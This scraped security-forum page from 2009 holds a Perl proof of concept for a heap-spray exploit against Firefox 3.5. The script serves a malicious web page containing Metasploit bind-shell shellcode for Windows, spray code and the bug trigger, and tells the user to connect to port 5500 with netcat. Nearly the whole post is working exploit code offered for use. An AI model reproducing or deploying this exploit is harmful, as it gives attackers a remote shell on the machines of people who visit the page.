Waraxe IT Security Portal  
  Login or Register
::  Home  ::  Search  ::  Your Account  ::  Forums  ::   Waraxe Advisories  ::  Tools  ::
December 15, 2019
Menu
 Home
 Logout
 Discussions
 Forums
 Members List
 IRC chat
 Tools
 Base64 coder
 MD5 hash
 CRC32 checksum
 ROT13 coder
 SHA-1 hash
 URL-decoder
 Sql Char Encoder
 Affiliates
 y3dips ITsec
 Md5 Cracker
 User Manuals
 AlbumNow
 Content
 Content
 Sections
 FAQ
 Top
 Info
 Feedback
 Recommend Us
 Search
 Journal
 Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)
Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9145
People Online:
Visitors: 215
Members: 2
Total: 217
Online Now:
01: david - Homepage
02: kolaz - Homepage
PacketStorm News
Currently there is a problem with headlines from this site
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Perl -> FireFox 3.5 Heap Spray, coded in Perl
Post new topic  Reply to topic View previous topic :: View next topic 
FireFox 3.5 Heap Spray, coded in Perl
PostPosted: Sat Jul 18, 2009 11:42 am Reply with quote
julioisaias
Valuable expert
Valuable expert
 
Joined: Jan 25, 2008
Posts: 51
Location: Ciudad del Este, Paraguay




Well, Firefox is already patched but, I did it anyway a PoC coded in Perl.
Feedback is welcome.


Code:
##################################################
# FireFox 3.5 Heap Spray
# Discovered by: Simon Berry-Bryne
# Coded in Perl by julioisaias, Ciudad del Este - Paraguay
# Contact: julioisaias [at] gmail [dot] com
##################################################

#!/usr/bin/perl -w
use strict;
use POE::Component::Server::HTTP;
POE::Component::Server::HTTP->new(Port => my $port = 8080,
ContentHandler => {"/" =>  sub{$_[1]->push_header("Content-Type", "text/html"), $_[1]->content(<DATA>)}});

print "[-] Listening in port $port...\n[-] Sending payload...\n[-] After 30 secs try with netcat for connect in port 5500\n";
POE::Kernel->run();

__DATA__
<html>
<head>
<title>Exploiting Firefox 3.5</title>
<script language= javascript>
//windows - shell_bind_tcp - metasploit - encoding is shikata_ga_nai
var shellcode= unescape("%u6afc%u4deb%uf9e8%uffff%u60ff%u6c8b%u2424%u458b%u8b3c%u057c%u0178%u8bef" +
         "%u184f%u5f8b%u0120%u49eb%u348b%u018b%u31ee%u99c0%u84ac%u74c0%uc107%u0dca" +
         "%uc201%uf4eb%u543b%u2824%ue575%u5f8b%u0124%u66eb%u0c8b%u8b4b%u1c5f%ueb01" +
         "%u2c03%u898b%u246c%u611c%u31c3%u64db%u438b%u8b30%u0c40%u708b%uad1c%u408b" +
         "%u5e08%u8e68%u0e4e%u50ec%ud6ff%u5366%u6866%u3233%u7768%u3273%u545f%ud0ff" +
         "%ucb68%ufced%u503b%ud6ff%u895f%u66e5%ued81%u0208%u6a55%uff02%u68d0%u09d9" +
         "%uadf5%uff57%u53d6%u5353%u5353%u5343%u5343%ud0ff%u6866%u7c15%u5366%ue189" +
         "%u6895%u1aa4%uc770%uff57%u6ad6%u5110%uff55%u68d0%uada4%ue92e%uff57%u53d6" +
         "%uff55%u68d0%u49e5%u4986%uff57%u50d6%u5454%uff55%u93d0%ue768%uc679%u5779" +
         "%ud6ff%uff55%u66d0%u646a%u6866%u6d63%ue589%u506a%u2959%u89cc%u6ae7%u8944" +
         "%u31e2%uf3c0%ufeaa%u2d42%u42fe%u932c%u7a8d%uab38%uabab%u7268%ub3fe%uff16" +
         "%u4475%ud6ff%u575b%u5152%u5151%u016a%u5151%u5155%ud0ff%uad68%u05d9%u53ce" +
         "%ud6ff%uff6a%u37ff%ud0ff%u578b%u83fc%u64c4%ud6ff%uff52%u68d0%uceef%u60e0" +
         "%uff53%uffd6%u41d0");
oneblock = unescape("%u0c0c%u0c0c");
var fullblock = oneblock;
while (fullblock.length<0x60000) 
{
    fullblock += fullblock;
}
sprayContainer = new Array();
for (i=0; i<600; i++) 
{
    sprayContainer[i] = fullblock + shellcode;
}
var searchArray = new Array()
 
function escapeData(data)
{
 var i;
 var c;
 var escData='';
 for(i=0;i<data.length;i++)
  {
   c=data.charAt(i);$poe_kernel
   if(c=='&' || c=='?' || c=='=' || c=='%' || c==' ') c = escape(c);
   escData+=c;
  }
 return escData;
}
function DataTranslator(){
    searchArray = new Array();
    searchArray[0] = new Array();
    searchArray[0]["str"] = "blah";
    var newElement = document.getElementById("content")
    if (document.getElementsByTagName) {
        var i=0;
        pTags = newElement.getElementsByTagName("p")
        if (pTags.length > 0) 
        while (i<pTags.length)
        {
            oTags = pTags[i].getElementsByTagName("font")
            searchArray[i+1] = new Array()
            if (oTags[0]) 
            {
                searchArray[i+1]["str"] = oTags[0].innerHTML;
            }
            i++
        }
    }
}
 
function GenerateHTML()
{
    var html = "";
    for (i=1;i<searchArray.length;i++)
    {
        html += escapeData(searchArray[i]["str"])
    }   
}
DataTranslator();
GenerateHTML()
</script>
</body>
</html>

_________________
I study enough to make the rest a result.
View user's profile Send private message
FireFox 3.5 Heap Spray, coded in Perl
  www.waraxe.us Forum Index -> Perl
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
 		All times are GMT  
Page 1 of 1  
  
  
 Post new topic  Reply to topic  




Powered by phpBB © 2001-2008 phpBB Group



All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2013 Janek Vind "waraxe"
 Page Generation: 0.085 Seconds